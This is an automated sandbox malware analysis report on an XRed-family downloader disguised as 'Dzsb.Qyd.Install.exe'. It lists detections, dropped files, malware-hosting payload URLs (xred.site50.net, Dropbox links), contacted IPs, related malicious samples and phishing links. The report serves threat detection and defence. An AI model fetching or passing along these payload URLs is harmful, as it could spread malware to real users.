Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	12 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
Dzsb.Qyd.Install.exe	100%	Avira	TR/Dldr.Agent.SH
Dzsb.Qyd.Install.exe	100%	Avira	W2000M/Dldr.Agent.17651006
Dzsb.Qyd.Install.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\Synaptics\RCXE0B2.tmp	100%	Avira	TR/Dldr.Agent.SH
C:\ProgramData\Synaptics\RCXE0B2.tmp	100%	Avira	W2000M/Dldr.Agent.17651006
C:\ProgramData\Synaptics\Synaptics.exe	100%	Avira	TR/Dldr.Agent.SH
C:\ProgramData\Synaptics\Synaptics.exe	100%	Avira	W2000M/Dldr.Agent.17651006
C:\Users\user\Documents\DUUDTUBZFW\~$cache1	100%	Avira	TR/Dldr.Agent.SH
C:\Users\user\Documents\DUUDTUBZFW\~$cache1	100%	Avira	W2000M/Dldr.Agent.17651006
C:\Users\user\Documents\~$cache1	100%	Avira	TR/Dldr.Agent.SH
C:\Users\user\Documents\~$cache1	100%	Avira	W2000M/Dldr.Agent.17651006
C:\ProgramData\Synaptics\RCXE0B2.tmp	100%	Joe Sandbox ML
C:\ProgramData\Synaptics\Synaptics.exe	100%	Joe Sandbox ML
C:\Users\user\Documents\DUUDTUBZFW\~$cache1	100%	Joe Sandbox ML
C:\Users\user\Documents\~$cache1	100%	Joe Sandbox ML
C:\ProgramData\Synaptics\RCXE0B2.tmp	88%	ReversingLabs	Win32.Virus.Napwhich
C:\Users\user\Desktop\._cache_Dzsb.Qyd.Install.exe	5%	ReversingLabs
C:\Users\user\Documents\DUUDTUBZFW\~$cache1	88%	ReversingLabs	Win32.Virus.Napwhich
C:\Users\user\Documents\~$cache1	88%	ReversingLabs	Win32.Virus.Napwhich

Source	Detection	Scanner	Label
http://xred.site50.net/syn/Synaptics.rarZ	100%	Avira URL Cloud	malware
http://xred.site50.net/syn/SUpdate.iniZ	100%	Avira URL Cloud	malware
http://xred.site50.net/syn/Synaptics.rarX	100%	Avira URL Cloud	malware
http://ocsp3.sheca.com/ShecaG2-1/shecaG2-1.ocsp05	0%	Avira URL Cloud	safe
https://docs.goo	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/SSLLibrary.dl4	100%	Avira URL Cloud	malware
http://xred.site50.net/syn/SSLLibrary.dll6	100%	Avira URL Cloud	malware
http://www.sheca.com/policy/0	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
freedns.afraid.org	69.42.215.252	true	false	high
docs.google.com	142.250.186.78	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
drive.usercontent.google.com	142.250.185.65	true	false	high
xred.mooo.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
xred.mooo.com	false		high
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=	Dzsb.Qyd.Install.exe, 00000000.00000003.1252118782.0000000002320000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.google.com/ogleviD	Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/Synaptics.rarZ	Synaptics.exe, 00000003.00000002.1442035103.00000000022C0000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140924392.0000000002490000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1	~$cache1.20.dr	false		high
http://xred.site50.net/syn/Synaptics.rarX	Dzsb.Qyd.Install.exe, 00000000.00000003.1252118782.0000000002320000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://docs.google.com/blecli	Synaptics.exe, 00000014.00000003.1976684823.0000000004C8B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978h	Dzsb.Qyd.Install.exe, 00000000.00000003.1252118782.0000000002320000.00000004.00001000.00020000.00000000.sdmp	false		high
http://ldap2.sheca.com/root/shecaG2-1.der0	Dzsb.Qyd.Install.exe, Synaptics.exe.0.dr, ._cache_Dzsb.Qyd.Install.exe.0.dr	false		high
https://docs.google.com/24	Synaptics.exe, 00000014.00000003.1976684823.0000000004CC5000.00000004.00000020.00020000.00000000.sdmp	false		high
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978e	Synaptics.exe, 00000014.00000003.1976493494.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935866964.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017995324.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140164000.00000000007F4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1:	Synaptics.exe, 00000003.00000002.1442035103.00000000022C0000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140924392.0000000002490000.00000004.00001000.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/	Synaptics.exe, 00000014.00000002.2146834309.0000000007FF8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004C7C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://upx.sf.net	Amcache.hve.13.dr	false		high
http://xred.site50.net/syn/Synaptics.rar	~$cache1.20.dr	false		high
https://docs.google.com/s-cn.c	Synaptics.exe, 00000014.00000003.1976684823.0000000004C8B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.google.com/e.cn	Synaptics.exe, 00000014.00000003.1976684823.0000000004C8B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.google.com/X5	Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.google.com/	Synaptics.exe, 00000003.00000002.1441338159.00000000006B0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.1316708703.0000000005406000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1445445710.0000000007224000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140164000.000000000073E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2018131759.0000000007E78000.00000004.00000020.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/SSLLibrary.dll6	Synaptics.exe, 00000003.00000002.1442035103.00000000022C0000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140924392.0000000002490000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive.usercontent.google.com/dow	Synaptics.exe, 00000014.00000003.1976493494.00000000007F2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1:	Synaptics.exe, 00000003.00000002.1442035103.00000000022C0000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140924392.0000000002490000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1	~$cache1.20.dr	false		high
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1	~$cache1.20.dr	false		high
https://drive.usercontent.google.com/lesa	Synaptics.exe, 00000014.00000002.2146834309.0000000007FF8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/SUpdate.iniZ	Synaptics.exe, 00000003.00000002.1442035103.00000000022C0000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140924392.0000000002490000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://xred.site50.net/syn/SUpdate.ini	~$cache1.20.dr	false		high
https://docs.goo	Synaptics.exe, 00000014.00000003.2017353207.0000000007F64000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dlH	Dzsb.Qyd.Install.exe, 00000000.00000003.1252118782.0000000002320000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=16	Synaptics.exe, 00000003.00000002.1442035103.00000000022C0000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140924392.0000000002490000.00000004.00001000.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/SSLLibrary.dl4	Dzsb.Qyd.Install.exe, 00000000.00000003.1252118782.0000000002320000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.sheca.com/policy/0	Dzsb.Qyd.Install.exe, Synaptics.exe.0.dr, ._cache_Dzsb.Qyd.Install.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://drive.usercontent.google.com/mppr	Synaptics.exe, 00000014.00000002.2146834309.0000000007FF8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ldap2.sheca.com/CA13/RA12050100/CRL4903.crl0	Dzsb.Qyd.Install.exe, Synaptics.exe.0.dr, ._cache_Dzsb.Qyd.Install.exe.0.dr	false		high
https://docs.google.com/uc?id=0;	Synaptics.exe, 00000003.00000002.1450628098.000000000B2FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2147396926.0000000008B3E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2155513902.0000000011C3E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2149007672.000000000B1FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2150643930.000000000D8BE000.00000004.00000010.00020000.00000000.sdmp	false		high
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc6135629787	Synaptics.exe, 00000014.00000003.1976493494.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935866964.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017995324.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140164000.00000000007F4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.google.com/E	Synaptics.exe, 00000003.00000002.1445445710.0000000007224000.00000004.00000020.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/SSLLibrary.dll	~$cache1.20.dr	false		high
https://docs.google.com/danci	Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/6	Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp3.sheca.com/ShecaG2-1/shecaG2-1.ocsp05	Dzsb.Qyd.Install.exe, Synaptics.exe.0.dr, ._cache_Dzsb.Qyd.Install.exe.0.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.78	docs.google.com	United States	15169	GOOGLEUS	false
142.250.185.78	unknown	United States	15169	GOOGLEUS	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
69.42.215.252	freedns.afraid.org	United States	17048	AWKNET-LLCUS	false
142.250.185.65	drive.usercontent.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1556405
Start date and time:	2024-11-15 11:22:59 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	29
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Dzsb.Qyd.Install.exe
Detection:	MAL
Classification:	mal100.troj.expl.winEXE@13/54@12/5
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.90.27, 52.109.32.97, 52.113.194.132, 104.208.16.89, 20.42.65.92, 104.208.16.95, 52.168.117.173
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, slscr.update.microsoft.com, otelrules.afd.azureedge.net, onedscolprdcus20.centralus.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, mobile.events.data.microsoft.com, ecs-office.s-0005.s-msedge.net, onedscolprdcus11.centralus.cloudapp.azure.com, e16604.g.akamaiedge.net, officeclient.microsoft.com, prod.fs.microsoft.com.akadns.net, ukw-azsc-config.officeapps.live.com, ecs.office.com, self-events-data.trafficmanager.net, fs.microsoft.com, otelrules.azureedge.net, prod.configsvc1.live.com.akadns.net, self.events.data.microsoft.com, s-0005-office.config.skype.com, fe3cr.delivery.mp.microsoft.com, onedsblobprdeus17.eastus.cloudapp.azure.com, s-0005.s-msedge.net, config.officeapps.live.com, blobcollector.events.data.trafficmanager.net, azureedge-t-prod.trafficmanager.net, umwatson.events.data.microsoft.com, ecs.office.trafficmanager.net, europe.configsvc1
Execution Graph export aborted for target Synaptics.exe, PID 6056 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Dzsb.Qyd.Install.exe

Simulations

Behavior and APIs

Time	Type	Description
05:23:34	API Interceptor	304x Sleep call for process: Synaptics.exe modified
05:23:50	API Interceptor	2x Sleep call for process: WerFault.exe modified
05:25:32	API Interceptor	51x Sleep call for process: splwow64.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4
69.42.215.252	Bank Information Details.bat	Get hash	malicious	LodaRAT, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	System Volume Information.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	P4.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Supplier RFQ ID 365242213q___________________________pdf.exe	Get hash	malicious	Snake Keylogger, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	Synaptics.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	C5Nbn7P6GJ.exe	Get hash	malicious	XRed, XWorm	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	lFsYXvJPWw.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	9l5kmTp94R.exe	Get hash	malicious	XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	TBIG.exe	Get hash	malicious	AveMaria, UACMe, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
	1RGKUwuqi0.exe	Get hash	malicious	Remcos, PureLog Stealer, XRed	Browse	freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://tractopieces35-my.sharepoint.com/:o:/g/personal/lecomte22_tracto-pieces_fr/EqM9FMd6batFtzMgdv1f2XUBmLAJecWys730N_AOVrXnXA?e=3TLKO8	Get hash	malicious	Unknown	Browse	13.107.246.45
	704b67b5-6bc9-dbd5-0710-60eb98e03983.eml	Get hash	malicious	Unknown	Browse	13.107.246.45
	HZ1BUCfTne.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	13.107.246.45
	YU7jHNMJjG.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	13.107.246.45
	seRpOAk8gH.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	13.107.246.45
	1n72lp2XjT.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	13.107.246.45
	https://www.google.dk/url?sa=https://abc123xyz456def789ghj101klm112nop345qrs678tuv901wxyz234abc567d&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwiX6tO39MiJAxUSnP0HHcggDNwQFnoECBoQAQ&url=amp%2F%62%68%61%72%61%74%68%73%65%72%76%69%63%65%73%69%6E%64%69%61%2E%63%6F%6D%2F%75%6E%73%75%62%73%63%72%69%62%65%2Fab86aa851e981834b77805f77a6cca34%2Fcm9yeWdvd2VyQHF1YW50ZXhhLmNvbQ==&token=fgj784jkh23&referrerID=xyz456789&sessionKey=abc123456789&trackingID=klmn987654&clickID=7890abcd1234&userID=xyz901234&pageID=web23456789	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	https://www.cognitoforms.com/f/QJDkMg1ACkylvn0c20THNA/1	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.107.246.45
freedns.afraid.org	Bank Information Details.bat	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	System Volume Information.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	P4.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	Supplier RFQ ID 365242213q___________________________pdf.exe	Get hash	malicious	Snake Keylogger, XRed	Browse	69.42.215.252
	Synaptics.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	C5Nbn7P6GJ.exe	Get hash	malicious	XRed, XWorm	Browse	69.42.215.252
	lFsYXvJPWw.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	9l5kmTp94R.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	TBIG.exe	Get hash	malicious	AveMaria, UACMe, XRed	Browse	69.42.215.252
	1RGKUwuqi0.exe	Get hash	malicious	Remcos, PureLog Stealer, XRed	Browse	69.42.215.252

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://tractopieces35-my.sharepoint.com/:o:/g/personal/lecomte22_tracto-pieces_fr/EqM9FMd6batFtzMgdv1f2XUBmLAJecWys730N_AOVrXnXA?e=3TLKO8	Get hash	malicious	Unknown	Browse	52.108.11.12
	704b67b5-6bc9-dbd5-0710-60eb98e03983.eml	Get hash	malicious	Unknown	Browse	52.109.28.46
	ArenaWarsSetup.exe	Get hash	malicious	Unknown	Browse	72.145.3.21
	Email_sending_restriction_[sebastien.morel!](#HOHSM).html	Get hash	malicious	Unknown	Browse	52.98.227.242
	ArenaWarsSetup.exe	Get hash	malicious	Unknown	Browse	72.145.3.21
	https://www.google.dk/url?sa=https://abc123xyz456def789ghj101klm112nop345qrs678tuv901wxyz234abc567d&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwiX6tO39MiJAxUSnP0HHcggDNwQFnoECBoQAQ&url=amp%2F%62%68%61%72%61%74%68%73%65%72%76%69%63%65%73%69%6E%64%69%61%2E%63%6F%6D%2F%75%6E%73%75%62%73%63%72%69%62%65%2Fab86aa851e981834b77805f77a6cca34%2Fcm9yeWdvd2VyQHF1YW50ZXhhLmNvbQ==&token=fgj784jkh23&referrerID=xyz456789&sessionKey=abc123456789&trackingID=klmn987654&clickID=7890abcd1234&userID=xyz901234&pageID=web23456789	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	https://www.cognitoforms.com/f/QJDkMg1ACkylvn0c20THNA/1	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
AWKNET-LLCUS	Bank Information Details.bat	Get hash	malicious	LodaRAT, XRed	Browse	69.42.215.252
	System Volume Information.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	P4.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	Supplier RFQ ID 365242213q___________________________pdf.exe	Get hash	malicious	Snake Keylogger, XRed	Browse	69.42.215.252
	Synaptics.exe	Get hash	malicious	XRed	Browse	69.42.215.252
	9BXz5oZUMh.elf	Get hash	malicious	Unknown	Browse	67.220.95.213
	Vxy5RbbhIU.elf	Get hash	malicious	Unknown	Browse	67.220.95.213
	gXYPejHot8.elf	Get hash	malicious	Unknown	Browse	67.220.95.213
	hwfx5XCqGs.elf	Get hash	malicious	Unknown	Browse	67.220.95.213
	iOdhAV91gt.elf	Get hash	malicious	Unknown	Browse	67.220.95.213

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	pPAvbVl3HM.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	7b9HZNvZwL.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	CheatInjector.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	Jorieh.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
37f463bf4616ecd445d4a1937da06e19	9RM52QaURq.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	142.250.186.78 142.250.185.78 142.250.185.65
	HZ1BUCfTne.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	142.250.186.78 142.250.185.78 142.250.185.65
	9RM52QaURq.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	142.250.186.78 142.250.185.78 142.250.185.65
	bv2DbIiZeK.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	142.250.186.78 142.250.185.78 142.250.185.65
	brozer.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	142.250.186.78 142.250.185.78 142.250.185.65
	YU7jHNMJjG.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	142.250.186.78 142.250.185.78 142.250.185.65
	6Ev0Nd7z2t.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	142.250.186.78 142.250.185.78 142.250.185.65
	6HWYiong4s.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	142.250.186.78 142.250.185.78 142.250.185.65
	btoRtc7o3v.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	142.250.186.78 142.250.185.78 142.250.185.65
	HZ1BUCfTne.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	142.250.186.78 142.250.185.78 142.250.185.65

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Synaptics.exe_348ac1a0e27e10257094c0b0d8fb7ab45be575f_455b7b6e_34418e79-a31c-466c-bf71-dfae388c3088\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.216103302930749
Encrypted:	false
SSDEEP:	192:wAEKw4Vps3Imo0WMn4DzJDzqjICB43pOe1IzuiFrZ24IO8EKDzy:j9y35WMn4JqjICFzuiFrY4IO8zy
MD5:	F963D7BD3FFC4BB6823DDA0E531055DE
SHA1:	E33D62462C29A5B74A3DD44B1C7668D6AC7D5849
SHA-256:	80951E04A0D9276F9BBC428A08D3CC68FA1DA4BE19777BDA648AC180575F7C60
SHA-512:	D9A0D851E5FF1C2C2B24168FB37700FCDA6F7642224A47D4BF06E4A2243F76986D843107D2FB81B8EF17556438ADE32630C22B55D869826FFEEB5505767E421B
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.6.1.3.9.8.2.6.5.4.6.5.5.0.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.6.1.3.9.8.2.9.0.1.3.5.3.3.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.4.4.1.8.e.7.9.-.a.3.1.c.-.4.6.6.c.-.b.f.7.1.-.d.f.a.e.3.8.8.c.3.0.8.8.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.8.3.4.6.f.8.8.-.3.d.a.c.-.4.4.f.d.-.a.d.2.5.-.6.b.f.9.4.a.a.5.3.5.b.3.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.S.y.n.a.p.t.i.c.s...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.e.0.4.-.0.0.0.1.-.0.0.1.6.-.5.c.f.5.-.7.1.6.b.4.8.3.7.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.9.9.a.1.3.7.d.5.9.3.d.d.a.9.d.1.5.8.d.c.8.b.6.b.7.7.2.0.d.e.b.0.0.0.0.1.f.0.4.!.0.0.0.0.7.4.6.8.6.4.4.9.f.2.4.f.0.c.d.7.4.5.c.4.b.d.e.0.a.7.e.6.f.4.1.a.b.f.1.7.d.a.a.d.!.S.y.n.a.p.t.i.c.s...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Synaptics.exe_42a5b175d638db45a25b5883a74cc3f4b3b9e12_455b7b6e_3fb18f93-5a95-4c72-812e-9429789fdca8\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1271286918528969
Encrypted:	false
SSDEEP:	192:wXufRYVpsqIm00jMAiDzJDzqjUr4B9lZlSzuiFwZ24IO8EKDzy:OyqVjMAiJqjhWzuiFwY4IO8zy
MD5:	5E95E37275D8F05D3F2BBE0C4788E42F
SHA1:	F1E42177CD20A5EFB67E0369BCBDE791708F8168
SHA-256:	732D505AC190A11515F028AF6035B080787A585906D47A16657C2B6E1DC3F01B
SHA-512:	80B7866E09EAC1769F2D0E73C00E027356ADCC102E0C3D4364B8592A86C0F1CF390345C7FB2127ECF5A2BFC7E510B0275D1622318F5FE609CAFF669D429E77F9
Malicious:	false
Reputation:	low
